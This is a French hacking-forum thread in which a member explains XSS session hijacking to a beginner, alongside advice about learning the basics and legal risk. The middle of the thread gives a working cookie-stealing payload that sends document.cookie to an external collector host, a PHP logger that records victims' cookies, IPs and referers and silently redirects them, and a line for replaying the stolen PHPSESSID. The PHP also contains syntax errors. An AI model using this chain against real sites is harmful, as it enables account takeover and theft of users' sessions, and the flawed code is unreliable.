D'où ma question dois je abandonner mon but la seule chose qui m'intéresse vraiment? ne suis simplement pas fait pour être hacker alors que j'ai toujours admiré ceux qui le sont où est ce juste en grande partie un problème de connaissance?Ou est ce les deux?

A ma place que feriez vous?

[pl3x]

A ma place que feriez vous?

commence par lire le chapitre 1 de DreAmuS
prend ton temps pour apprendre les bases en informatique avant tout

la securité informatique c'est comme le ski, si tu veux faire du hors piste il faut d'abord apprendre a skier

[DreAmuS]

Ola rayliegh, Y a un nid en ce moment ^^

Écoute je vais essayer de répondre à toutes tes questions une par une proprement et simplement. XSS est une faille qui a l'air anodine mais qui peut faire des dégâts tout comme le File include (grande spécialité de Défaceur). La on va se concentrer sur XSS.

pourquoi créer un site PHP? ne peut on pas le faire directement vers 192.168.** ?

Tu veux parler en local ? Oui Bien sur tu peux, ce qui importe est que les fichiers comportant la dite faille y soit afin de créé la démonstration.

comment les cookies sont t'ils enregistré étant donné que le script PHP est dans un fichier texte et même pas sur la page internet?

?? Le script est créé par les sites internet que tu rencontre via ton navigateur et se nomme ben Cookies. Par conséquent, tu comprends que les sites web et autre Framework lié en réseau avec toi peut t'imposer des cookies, on parlera dans ces cas de cookies "propriétaires " ok.
Mais, certaines personnes malveillantes peuvent insérer sur le lieu de ton ivestiGanet(mot composé de investigation et internet, marque déposé @dreamus ) des cookies supplémentaires et profiter de la manne du site en question pour demander à ton navigateur d'inscrire de nouveau cookies, on parlera cette fois de cookies "tiers". Ces personnes profiteront alors d'une faille système commune de type flash, PDF, doc,... connus par un exploit à jour ou non à jour et viendra titihacker (de titiller et hacker) vos données personnelles.
Chaque PC est composé de bits et de mémoires mais en face aussi les sites tournent avec en arrière plan des serveurs qui ne sont que de vastes étendues de disque dur avec des OS dessus. Donc il stocke en mémoire également ce que nous chiffrons sur ce site tout comme nous. Cela se nomme la attention tatatan :" Communication " Dingue non

Maintenant comment en est arrivé cette histoire de faille XSS ? Un jour un pirate a ouvert un de ses fichiers textes que lisent nos navigateurs et qui comporte les en-têtes de navigation. D'ailleurs si tu va dans ton Firefox installé sur ton PC tu verras cookies. Sqlite de SQL base de données. Donc nous créons une BDD de nos navigations également et interagissons avec internet.
Le pirate s'est alors dit si le site ou l'application Web présente devant moi présente une faille XSS donc d'exécuter du code de type JS script cela me permettra une compromission de données, ou le vol carrément d'une session utilisateur. Nous allons parler de notion de client. Nous sommes des clients d'une boutique qui nous laisse des cartes avec nos identifiants personnelles et pourquoi moi je ne pourrais pas créer une fausse carte et me faire passer pour lui et profiter des avantages Surtout que la vérification passe par le client direct et non par le serveur vu que ce n'est pas du PHP.

Et la entre la notion de client/navigateur, la faiblesse est que le site en vous donnants ces cookies il vous fait confiance et vice versa. Vous arrivez et votre action est direct on ne passe pas par le serveur mais la demande asse côté client/navigateur. Simple non !! Le pirate sait qu'il peut en utilisant ou en créant un programme pour jouer sur les données de vérification=cookies simplement. On va donc dans un premier temps exploiter la faille pour piéger l'utilisateur Lambda et récupérer ses cookies de connections (si c'est l'Admin alors la caviar) puis dans un second temps on va se connecter à cette même session afin d'avoir l'accès.
Vous l'aurez compris sachant qu'on dit client le faux et vrai client devront être connecté en même temps et si le vrai part le faux perd sa connections sachant que les cookies sont générés aléatoirement pour chaque session.

Bref, tu devrais étudier avant comment fonctionne un navigateur et un réseau internet afin de comprendre les nuances car expliquer est difficile tant c'est large comme concept.

l'utilisateur clique sur le lien admettons que le script permette l'interception des paquets comment il fait pour les enregistrer dans un fichier ?

Bien, continuons. Voila un script qui va exploiter une faille XSS des plus classiques :

<SCRIPT>
Document.write('<img src=\'http://hack-serveur.com/volcookies.php?cookie=c'+escape(document.cookie)+'\' height=1 width=1>');
</SCRIPT>

Donc on va mettre notre script sur un site web supportant le php qui sera sous cette forme :

<?php
/****** Exemple de fichier qui va récupéré les cookies et les transmettre via HTTP sous forme d'un fichier texte avec les informations nécéssaires ************
******* Il est clair sans exploiter une faille avant ou faire en sorte d'amener le client vers cette nouvelle connection n'aura aucune incidence majeure ******
*/


$cookie  = $_GET['c'];  // on importe la variable GET et lui appose le nom ,c représente les données envoyées au script PHP dans une URL
$ip = getenv ('REMOTE_ADDR'); // On récupére l'ip du client Tant qu'à faire
$date=date('j F, Y, g:i a');  // La date du méfait 
$referer=getenv ('HTTP_REFERER'); //l'en tête de la connection client
if(count($_$cookie) > 0)         // Le $_COOKIE représente des données disponibles pour un script PHP via des cookies HTTP. on vérifie qu'ils sont activés.
{
$fp  = fopen( 'cookies.txt' , 'a' ); // On ouvre cookies.txt en edition (il est créé si il n’existe pas)
       fwrite($fp, 'Cookie: '.$cookie.'< br > IP: ' .$ip. '< br > Date et Heure: ' .$date. '< br > Header: '.$referer.'< br > < br > < br >'); // On écrit le contenu du cookie.txt
       fclose($fp); // On ferme le fichier cookies.txt
       header ('Location: http://www.cible.com'); // on ramène l'utilisateur sur le site cible pour qu'il ne se doute de rien
    else 
    {
       $fp  = fopen( 'cookies.txt' , 'a' );
       fwrite($fp,'Cookie #'.$cookie.'non trouver');
       fclose($fp);
       header ('Location: http://www.cible.com'); // on ramène l'utilisateur sur le site cible car on n'a pas eu de connection viable
    }
}
?>

De ce fait tu auras normalement sur ton fichier texte en plus des renseignements courants ceci : PHPSESSID=XXXXXXXXXXX un numéro composé de lettre et chiffres.

Il ne te reste plus qu'à te connecter sur le site cible, vérifier que l'user est la aussi connecté et envoyer sur ton nav : javascript:void(document.cookie="PHPSESSID=XXXXXXXXXXXXX") XXXXXXXXXXX est bien entendu la session reçus ( sait on jamais ).

est ce que cela se copie dans le navigateur?

Je viens d'y répondre à l'instant sache que de nombreux plug ou log font le boulot pour modifier les valeurs cookies et d'en tête : temper data(FF),HTTP Live (FF), Beef et bien d'autres...

est ce que cela se copie dans le navigateur? Sinon dans un dossier si c'est le cas comment?

Si tu lis bien répondus aussi. Tout se copie plus ou moins lors de connection c'est affaire de script que l'on soit sur serveur (PHP), navigateur ou client (js,...) ou sur pc(C, python,...). Si tu veux savoir comment transcrire des données, les manipuler,... La je te conseille d'apprendre le codage en commençant par Python qui est simple et te permettra dans un premier temps de comprendre le concept d'algorithme.

subseven

Je ne rentre pas dans cette catégorie la désolé. Je suis passionné avant tout par l'aspect ludique et non criminel du hacking. Je te conseille de rester dans la voie tracé par Hackademics et non commencer à jouer avec des RATS qui ne t'apporteront rien en soi. Ou alors étudie les, analyse leur conception afin de comprendre le système d'attaque.

D'où ma question doit je abandonner mon but la seule chose qui m'intéresse vraiment? Ne suis simplement pas fait pour être hacker alors que j'ai toujours admiré ceux qui le sont où est ce juste en grande partie un problème de connaissance? Ou est ce les deux?

A ma place que feriez-vous?

Mon avis est que déjà apprend à écrire plus français et lisible. Construis des phrases, soit compréhensible dans tes raisonnements. Ensuite, le pirates que tu admire sont soit en prison, soit dans des pays non extradables. Alors personnellement, à part si tu souhaite vivre comme ça préfère autre chose. Tu sais on est derrière nos pc tranquilou mais le jour ou tu es au commissariat de police en garde à vue et que l'on vient perquisitionner chez toi devant tes voisins comme un voleur la tu es mal. Le jour où tu es référé devant le parquet et qu'on t'annonce la sentence la tu es encore plus mal. Va faire un tour dans une prison un jour et tu te rendras compte. j'ai eu plusieurs fois affaire à des prisonniers qui se sont suicidés, des jeunes sans avenir de par mon cursus actuelle et je te promet c'est malheureux.

Change de mentalité, apprends l'orthographe et la grammaire, apprends le codage et les réseaux puis ensuite continue à te perfectionner mais stp ne viens plus demander ce que tu dois faire sur un forum ça fait pitié ok

A plus

[rayliegh]

Merci pour tes explications pour l'orthographe et la grammaire désolé c'était surtout tapé à la va vite et en plus j'étais pas en état manque de sommeil et autre.

Pour le piratage informatique ce que j'admirais et c'est toujours le cas c'est ce que les hackers sont capable de faire pas des pirates en particulier (je parle pas des blackhat évidemment ils ne font que trop souvent la même chose et cela consiste à infecter des machines et lire dans les données de tout citoyens lambda pourrir la vie des autres voler du fric etc...).

Pour la prison eh bien je préfère ne pas y répondre cela dit j'avais pas l'intention de devenir un hacker indépendant mais plutôt un spécialiste en sécurité dans une boite ce qui, au final est la même chose mais reste autorisé, de plus j'ai une morale , et donc je ne fais rien sans l'accord de l'admin d'autant que je l'apprécie.

Quand à la dernière question posé j'en avais pris la pleine mesure des conséquences et interprétations que celle ci pouvait susciter.

[Elagym]

Bonjour,

Désolé de déterrer un vieux topic en guise de premier message. Mais afin d'éviter toute confusion, je pense que tu as confondu les injections persistantes et non-persistantes dans ton "Petit Rappel", juste après le sommaire.

En effet, les attaques persistantes consistent à insérer le script malicieux dans la DB (d'où la notion de persistence), et les attaques non-persistantes représentent les attaques temporaires/volatiles. Une petite précision qui peut éviter de semer le trouble dans l'esprit des nouveaux arrivants

Excellent guide ceci dit

Bonne journée